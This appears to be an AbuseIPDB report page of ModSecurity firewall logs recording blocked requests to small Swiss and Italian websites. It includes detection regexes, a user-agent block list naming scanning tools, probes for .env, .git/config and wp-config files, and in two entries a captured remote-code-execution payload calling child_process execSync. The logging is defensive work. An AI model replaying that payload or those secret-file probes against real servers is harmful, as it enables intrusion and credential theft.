[SunJul1901:32:45.7690272026][security2:error][pid3340049:tid3340119][client146.103.110.4:0]ModSecur ...
show more[SunJul1901:32:45.7690272026][security2:error][pid3340049:tid3340119][client146.103.110.4:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\<\?/\?\?script\|\<\?\(\?:i\?frame\?src\|a\?href\)\?=\?\(\?:ogg\|tls\|ssl\|gopher\|zlib\|\(ht\|f\)tps\?\)\\\\\\\\:/\|document\\\\\\\\.write\?\\\\\\\\\(\|\(\?:\<\|\<\?/\)\?\(\?:\(\?:java\|vb\)script\|applet\|activex\|chrome\|qx\?ss\|embed\)\|\<\?/\?i\?frame\\\\\\\\b\|\<\?imgsrc\?=\|\<\?basehref\?=\)\"atARGS:your-message.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"1065\"][id\"340148\"][rev\"162\"][msg\"Atomicorp.comWAFRules:PotentialCrossSiteScriptingAttack\"][data\"\<ahref=https:/\"][severity\"CRITICAL\"][hostname\"sisuconsulting.net\"][uri\"/\"][unique_id\"alwNHZ8DrJt9v9JMWrgLFAAAAQk\"]\,referer:https://sisuconsulting.net/
show less
[SunJul1901:30:59.2067462026][security2:error][pid3340049:tid3340127][client52.63.2.35:0]ModSecurity ...
show more[SunJul1901:30:59.2067462026][security2:error][pid3340049:tid3340127][client52.63.2.35:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"mail.ilmiotrentino.it\"][uri\"/\"][unique_id\"alwMs58DrJt9v9JMWrgLAwAAARE\"]
show less
[SunJul1901:29:32.9204132026][security2:error][pid4146099:tid4146116][client54.204.61.166:0]ModSecur ...
show more[SunJul1901:29:32.9204132026][security2:error][pid4146099:tid4146116][client54.204.61.166:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"formet.ch\"][uri\"/robots.txt\"][unique_id\"alwMXNOfuEBVdTrpdZzaQQAAAM0\"]
show less
[SunJul1901:29:03.2737232026][security2:error][pid4146099:tid4146112][client116.204.64.197:0]ModSecu ...
show more[SunJul1901:29:03.2737232026][security2:error][pid4146099:tid4146112][client116.204.64.197:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/wp-content/plugins/content-manager-light/\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"377\"][id\"1101013\"][hostname\"alessandrolucchini.ch\"][uri\"/wp-content/plugins/content-manager-light/include/otw_components/otw_grid_manager_light/css/otw-grid.css\"][unique_id\"alwMP9OfuEBVdTrpdZzaMgAAAMk\"]
show less
[SunJul1901:27:04.6963152026][security2:error][pid3340047:tid3340106][client34.175.38.158:0]ModSecur ...
show more[SunJul1901:27:04.6963152026][security2:error][pid3340047:tid3340106][client34.175.38.158:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(\?:/\(\?:\^\|/\)\\\\\\\\.\(env\|git\|svn\|hg\|DS_Store\)\|/\(\?:wp-config\|\\\\\\\\.htaccess\|\\\\\\\\.htpasswd\)\|\\\\\\\\.\(\?:sql\|bak\|old\|log\)\$\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"156\"][id\"960720\"][msg\"Forbiddenfileaccessattempt\"][severity\"CRITICAL\"][hostname\"volcano.ch\"][uri\"/.env.php.bak\"][unique_id\"alwLyGzIox-trc1F0XvFJQAAAFc\"]
show less
[SunJul1901:26:49.1587642026][security2:error][pid3340045:tid3340079][client165.227.71.37:0]ModSecur ...
show more[SunJul1901:26:49.1587642026][security2:error][pid3340045:tid3340079][client165.227.71.37:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\b\(\?:\\\\\\\\.\(\?:ht\(\?:access\|passwd\|group\)\|www_\?acl\)\|global\\\\\\\\.asa\|httpd\\\\\\\\.conf\|boot\\\\\\\\.ini\|web.config\)\\\\\\\\b\|\(\|\^\|\\\\\\\\.\\\\\\\\.\)/etc/\|/\\\\\\\\.\(\?:history\|bash_history\|sh_history\|env\)\$\)\"atREQUEST_FILENAME.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"204\"][id\"390709\"][rev\"30\"][msg\"Atomicorp.comWAFRules:Attempttoaccessprotectedfileremotely\"][data\"/.env\"][severity\"CRITICAL\"][hostname\"autodiscover.gmint.ch\"][uri\"/.env\"][unique_id\"alwLuSLmoHap4ablQ2xhQAAAABc\"]
show less
[SunJul1901:25:44.9435932026][security2:error][pid3340051:tid3340181][client58.69.115.15:0]ModSecuri ...
show more[SunJul1901:25:44.9435932026][security2:error][pid3340051:tid3340181][client58.69.115.15:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"gagspettacolo.ch\"][uri\"/xmlrpc.php\"][unique_id\"alwLeMdSrGDc0SV_4gIHnwAAAJg\"]
show less
[SunJul1901:24:02.5769682026][security2:error][pid4146099:tid4146116][client177.44.177.193:0]ModSecu ...
show more[SunJul1901:24:02.5769682026][security2:error][pid4146099:tid4146116][client177.44.177.193:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"schneider-tools.ch\"][uri\"/xmlrpc.php\"][unique_id\"alwLEtOfuEBVdTrpdZzZ3wAAAM0\"]
show less
[SunJul1901:23:56.9077082026][security2:error][pid4146099:tid4146116][client103.168.66.237:0]ModSecu ...
show more[SunJul1901:23:56.9077082026][security2:error][pid4146099:tid4146116][client103.168.66.237:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(\?:/\(\?:\^\|/\)\\\\\\\\.\(env\|git\|svn\|hg\|DS_Store\)\|/\(\?:wp-config\|\\\\\\\\.htaccess\|\\\\\\\\.htpasswd\)\|\\\\\\\\.\(\?:sql\|bak\|old\|log\)\$\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"156\"][id\"960720\"][msg\"Forbiddenfileaccessattempt\"][severity\"CRITICAL\"][hostname\"lacer.ch.136-243-54-122.cpanel.site\"][uri\"/wp-config.php\"][unique_id\"alwLDNOfuEBVdTrpdZzZxQAAAM0\"]\,referer:https://news.ycombinator.com/
show less
[SunJul1901:23:31.3484492026][security2:error][pid3340045:tid3340068][client98.80.219.149:0]ModSecur ...
show more[SunJul1901:23:31.3484492026][security2:error][pid3340045:tid3340068][client98.80.219.149:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"ipv6.gmint.ch\"][uri\"/.git/config\"][unique_id\"alwK8yLmoHap4ablQ2xg8QAAAAw\"]
show less
[SunJul1901:20:42.8681892026][security2:error][pid4146099:tid4146112][client123.202.189.111:0]ModSec ...
show more[SunJul1901:20:42.8681892026][security2:error][pid4146099:tid4146112][client123.202.189.111:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(curl\|wget\|python\|nikto\|sqlmap\|acunetix\|fimap\|dirbuster\|cmsmap\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"217\"][id\"990210\"][msg\"Suspicioususer-agentblocked\"][hostname\"craniosacraltherapy.ch\"][uri\"/wp-content/uploads/2021/01/logo-nero.png\"][unique_id\"alwKStOfuEBVdTrpdZzZRQAAAMk\"]
show less
[SunJul1901:18:19.3949722026][security2:error][pid3340049:tid3340116][client186.170.244.29:0]ModSecu ...
show more[SunJul1901:18:19.3949722026][security2:error][pid3340049:tid3340116][client186.170.244.29:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"sanierung-pilzen-schimmel-schweiz.ch\"][uri\"/xmlrpc.php\"][unique_id\"alwJu58DrJt9v9JMWrgKWAAAAQY\"]
show less
[SunJul1901:17:58.4793562026][security2:error][pid2667836:tid2668054][client3.90.255.92:0]ModSecurit ...
show more[SunJul1901:17:58.4793562026][security2:error][pid2667836:tid2668054][client3.90.255.92:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"hosting-ticino-svizzera.ch\"][uri\"/robots.txt\"][unique_id\"alwJpv1lPZr7gNr0EbgpAAAAAU0\"]
show less
[SunJul1901:15:38.2153662026][security2:error][pid3340051:tid3340139][client2a09:bac5:27ba:18f0::27c ...
show more[SunJul1901:15:38.2153662026][security2:error][pid3340051:tid3340139][client2a09:bac5:27ba:18f0::27c:2f:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"osteriabreno.ch\"][uri\"/.git/config\"][unique_id\"alwJGsdSrGDc0SV_4gIG6QAAAIE\"]
show less
[SunJul1901:14:47.8406492026][security2:error][pid3340047:tid3340102][client2a04:4e40:e000:0:89f:eda ...
show more[SunJul1901:14:47.8406492026][security2:error][pid3340047:tid3340102][client2a04:4e40:e000:0:89f:eda3:7d36:d57d:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"creazione-siti-web-ticino.ch\"][uri\"/.git/config\"][unique_id\"alwI52zIox-trc1F0XvEjgAAAFM\"]
show less
[SunJul1901:12:18.3986452026][security2:error][pid3340045:tid3340060][client51.68.107.139:0]ModSecur ...
show more[SunJul1901:12:18.3986452026][security2:error][pid3340045:tid3340060][client51.68.107.139:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"MJ12bot\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_rules/20_asl_useragents.conf\"][line\"324\"][id\"333515\"][rev\"4\"][msg\"Atomicorp.comWAFRules:MJ12Distributedbotdetected\(Disablethisruleifyouwanttoallowthisbot\)\"][severity\"WARNING\"][tag\"no_ar\"][hostname\"avcolor.ch\"][uri\"/robots.txt\"][unique_id\"alwIUiLmoHap4ablQ2xgowAAAAQ\"]
show less
[SunJul1901:11:03.5540802026][security2:error][pid3340049:tid3340123][client45.33.64.191:0]ModSecuri ...
show more[SunJul1901:11:03.5540802026][security2:error][pid3340049:tid3340123][client45.33.64.191:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(curl\|wget\|python\|nikto\|sqlmap\|acunetix\|fimap\|dirbuster\|cmsmap\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"217\"][id\"990210\"][msg\"Suspicioususer-agentblocked\"][hostname\"orabonastudio.it\"][uri\"/\"][unique_id\"alwIB58DrJt9v9JMWrgKDQAAAQ0\"]
show less
[SunJul1901:10:07.8632752026][security2:error][pid3340051:tid3340179][client49.13.1.223:0]ModSecurit ...
show more[SunJul1901:10:07.8632752026][security2:error][pid3340051:tid3340179][client49.13.1.223:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"gmint.ch\"][uri\"/xmlrpc.php\"][unique_id\"alwHz8dSrGDc0SV_4gIGwwAAAJc\"]
show less
[SunJul1901:09:24.3840352026][security2:error][pid3340047:tid3340099][client13.38.38.20:0]ModSecurit ...
show more[SunJul1901:09:24.3840352026][security2:error][pid3340047:tid3340099][client13.38.38.20:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"miotrentino.it\"][uri\"/\"][unique_id\"alwHpGzIox-trc1F0XvENgAAAFA\"]
show less
[SunJul1901:08:47.1208282026][security2:error][pid2639160:tid2639296][client31.143.197.177:0]ModSecu ...
show more[SunJul1901:08:47.1208282026][security2:error][pid2639160:tid2639296][client31.143.197.177:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"368\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"salonesamire.ch\"][uri\"/xmlrpc.php\"][unique_id\"alwHf9KTTsTcxTz-L4pSLAAAAEs\"]
show less
[SunJul1901:08:34.2624062026][security2:error][pid3340047:tid3340104][client89.46.153.166:0]ModSecur ...
show more[SunJul1901:08:34.2624062026][security2:error][pid3340047:tid3340104][client89.46.153.166:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"autoeuro.lv\"][uri\"/\"][unique_id\"alwHcmzIox-trc1F0XvEMAAAAFU\"]
show less
[SunJul1901:05:49.3021852026][security2:error][pid3340051:tid3340174][client216.73.217.86:0]ModSecur ...
show more[SunJul1901:05:49.3021852026][security2:error][pid3340051:tid3340174][client216.73.217.86:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"www.agilityrossoblu.ch\"][uri\"/xmlrpc.php\"][unique_id\"alwGzcdSrGDc0SV_4gIGFwAAAJM\"]
show less
[SunJul1901:03:21.4618122026][security2:error][pid3340051:tid3340171][client138.36.131.167:0]ModSecu ...
show more[SunJul1901:03:21.4618122026][security2:error][pid3340051:tid3340171][client138.36.131.167:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"safeoncloud.ch\"][uri\"/xmlrpc.php\"][unique_id\"alwGOcdSrGDc0SV_4gIFzgAAAJI\"]
show less
[SunJul1901:03:03.8509762026][security2:error][pid2624722:tid2625044][client95.70.243.250:0]ModSecur ...
show more[SunJul1901:03:03.8509762026][security2:error][pid2624722:tid2625044][client95.70.243.250:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"368\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"safertechnics.ch\"][uri\"/xmlrpc.php\"][unique_id\"alwGJ1Pk8O5UcKuz1E_4JQAAAEc\"]
show less
[SunJul1900:58:13.9167522026][security2:error][pid2608677:tid2609087][client2a09:bac1:76c0:460::5e:5 ...
show more[SunJul1900:58:13.9167522026][security2:error][pid2608677:tid2609087][client2a09:bac1:76c0:460::5e:53:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Matchedphrase\".env\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"365\"][id\"960720\"][msg\"Forbiddenfileaccess\"][hostname\"hostingedominio.ch\"][uri\"/.env\"][unique_id\"alwFBYjtIJlDGNIKxxla5QAAAJY\"]
show less
HackingWeb App Attack
By clicking βAccept allβ, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.